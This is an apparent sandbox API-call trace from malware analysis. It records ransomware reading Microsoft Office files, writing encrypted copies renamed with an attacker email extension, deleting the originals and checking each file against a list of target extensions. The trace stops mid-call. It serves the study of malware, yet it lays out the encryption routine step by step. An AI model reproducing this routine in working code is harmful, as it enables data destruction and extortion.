ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0071.380] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0071.380] SetEndOfFile (hFile=0x204) returned 1 [0073.311] CloseHandle (hObject=0x204) returned 1 [0073.963] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0073.963] SetEndOfFile (hFile=0x1e0) returned 1 [0073.997] CloseHandle (hObject=0x1e0) returned 1 [0073.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0073.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0073.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.998] lstrlenW (lpString=".doc") returned 4 [0073.998] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0073.998] lstrlenW (lpString=".docx") returned 5 [0073.998] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0073.998] lstrlenW (lpString=".pdf") returned 4 [0073.998] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0073.998] lstrlenW (lpString=".xls") returned 4 [0073.998] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0073.998] lstrlenW (lpString=".xlsx") returned 5 [0073.998] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0073.998] lstrlenW (lpString=".ppt") returned 4 [0073.998] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0073.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.998] lstrlenW (lpString=".zip") returned 4 [0073.998] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0073.998] lstrlenW (lpString=".rar") returned 4 [0073.998] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0073.998] lstrlenW (lpString=".bz2") returned 4 [0073.998] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0073.998] lstrlenW (lpString=".7z") returned 3 [0073.999] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0073.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.999] lstrlenW (lpString=".dbf") returned 4 [0073.999] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0073.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.999] lstrlenW (lpString=".1cd") returned 4 [0073.999] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0073.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.999] lstrlenW (lpString=".jpg") returned 4 [0073.999] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0073.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.999] lstrlenW (lpString=".doc") returned 4 [0073.999] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0073.999] lstrlenW (lpString=".docx") returned 5 [0073.999] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0073.999] lstrlenW (lpString=".pdf") returned 4 [0073.999] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0073.999] lstrlenW (lpString=".xls") returned 4 [0073.999] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0073.999] lstrlenW (lpString=".xlsx") returned 5 [0073.999] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0073.999] lstrlenW (lpString=".ppt") returned 4 [0073.999] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0073.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.999] lstrlenW (lpString=".zip") returned 4 [0073.999] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0073.999] lstrlenW (lpString=".rar") returned 4 [0073.999] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0073.999] lstrlenW (lpString=".bz2") returned 4 [0073.999] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0073.999] lstrlenW (lpString=".7z") returned 3 [0073.999] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0073.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0073.999] lstrlenW (lpString=".dbf") returned 4 [0074.000] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0074.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0074.000] lstrlenW (lpString=".1cd") returned 4 [0074.000] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0074.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0074.000] lstrlenW (lpString=".jpg") returned 4 [0074.000] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0074.000] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.000] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0074.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0074.000] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1606) returned 1 [0074.000] CloseHandle (hObject=0x1e0) returned 1 [0074.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0074.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0074.001] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.001] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.812] GetLastError () returned 0x0 [0074.812] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x646, lpOverlapped=0x0) returned 1 [0074.819] WriteFile (in: hFile=0x1fc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x650, lpOverlapped=0x0) returned 1 [0074.821] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0074.821] WriteFile (in: hFile=0x1fc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xf0, lpOverlapped=0x0) returned 1 [0074.821] SetEndOfFile (hFile=0x1fc) returned 1 [0074.821] CloseHandle (hObject=0x1fc) returned 1 [0074.822] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.822] SetEndOfFile (hFile=0x1e0) returned 1 [0074.823] CloseHandle (hObject=0x1e0) returned 1 [0074.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.824] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0074.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.824] lstrlenW (lpString=".doc") returned 4 [0074.824] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.824] lstrlenW (lpString=".docx") returned 5 [0074.825] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.825] lstrlenW (lpString=".pdf") returned 4 [0074.825] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.825] lstrlenW (lpString=".xls") returned 4 [0074.825] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.825] lstrlenW (lpString=".xlsx") returned 5 [0074.825] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.825] lstrlenW (lpString=".ppt") returned 4 [0074.825] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.825] lstrlenW (lpString=".zip") returned 4 [0074.825] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.825] lstrlenW (lpString=".rar") returned 4 [0074.825] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.825] lstrlenW (lpString=".bz2") returned 4 [0074.825] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.825] lstrlenW (lpString=".7z") returned 3 [0074.825] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.825] lstrlenW (lpString=".dbf") returned 4 [0074.825] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.825] lstrlenW (lpString=".1cd") returned 4 [0074.825] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.825] lstrlenW (lpString=".jpg") returned 4 [0074.826] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.826] lstrlenW (lpString=".doc") returned 4 [0074.826] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.826] lstrlenW (lpString=".docx") returned 5 [0074.826] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.826] lstrlenW (lpString=".pdf") returned 4 [0074.826] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.826] lstrlenW (lpString=".xls") returned 4 [0074.826] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.826] lstrlenW (lpString=".xlsx") returned 5 [0074.826] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.826] lstrlenW (lpString=".ppt") returned 4 [0074.826] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.826] lstrlenW (lpString=".zip") returned 4 [0074.826] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.826] lstrlenW (lpString=".rar") returned 4 [0074.826] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.826] lstrlenW (lpString=".bz2") returned 4 [0074.826] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.826] lstrlenW (lpString=".7z") returned 3 [0074.826] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.826] lstrlenW (lpString=".dbf") returned 4 [0074.827] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.827] lstrlenW (lpString=".1cd") returned 4 [0074.827] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0074.827] lstrlenW (lpString=".jpg") returned 4 [0074.827] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.827] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.827] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0074.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0074.828] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1452) returned 1 [0074.828] CloseHandle (hObject=0x1e0) returned 1 [0074.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0074.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0074.828] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.828] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.831] GetLastError () returned 0x0 [0074.831] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x5ac, lpOverlapped=0x0) returned 1 [0074.833] WriteFile (in: hFile=0x1fc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0074.834] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0074.834] WriteFile (in: hFile=0x1fc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xf0, lpOverlapped=0x0) returned 1 [0074.834] SetEndOfFile (hFile=0x1fc) returned 1 [0074.834] CloseHandle (hObject=0x1fc) returned 1 [0074.837] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.837] SetEndOfFile (hFile=0x1e0) returned 1 [0074.838] CloseHandle (hObject=0x1e0) returned 1 [0074.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.839] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0074.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.839] lstrlenW (lpString=".doc") returned 4 [0074.839] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.839] lstrlenW (lpString=".docx") returned 5 [0074.839] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.839] lstrlenW (lpString=".pdf") returned 4 [0074.839] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.839] lstrlenW (lpString=".xls") returned 4 [0074.839] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.839] lstrlenW (lpString=".xlsx") returned 5 [0074.839] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.839] lstrlenW (lpString=".ppt") returned 4 [0074.839] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.840] lstrlenW (lpString=".zip") returned 4 [0074.840] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.840] lstrlenW (lpString=".rar") returned 4 [0074.840] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.840] lstrlenW (lpString=".bz2") returned 4 [0074.840] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.840] lstrlenW (lpString=".7z") returned 3 [0074.840] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.840] lstrlenW (lpString=".dbf") returned 4 [0074.840] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.840] lstrlenW (lpString=".1cd") returned 4 [0074.840] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.840] lstrlenW (lpString=".jpg") returned 4 [0074.840] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.840] lstrlenW (lpString=".doc") returned 4 [0074.840] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.840] lstrlenW (lpString=".docx") returned 5 [0074.840] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.840] lstrlenW (lpString=".pdf") returned 4 [0074.840] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.840] lstrlenW (lpString=".xls") returned 4 [0074.841] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.841] lstrlenW (lpString=".xlsx") returned 5 [0074.841] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0074.841] lstrlenW (lpString=".ppt") returned 4 [0074.841] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.841] lstrlenW (lpString=".zip") returned 4 [0074.841] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.841] lstrlenW (lpString=".rar") returned 4 [0074.841] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.841] lstrlenW (lpString=".bz2") returned 4 [0074.841] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.841] lstrlenW (lpString=".7z") returned 3 [0074.841] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.841] lstrlenW (lpString=".dbf") returned 4 [0074.841] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.841] lstrlenW (lpString=".1cd") returned 4 [0074.841] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0074.841] lstrlenW (lpString=".jpg") returned 4 [0074.841] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.842] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.842] lstrlenW (lpString="SETUP.XML") returned 9 [0074.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0074.842] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1872) returned 1 [0074.842] CloseHandle (hObject=0x1e0) returned 1 [0074.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0074.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 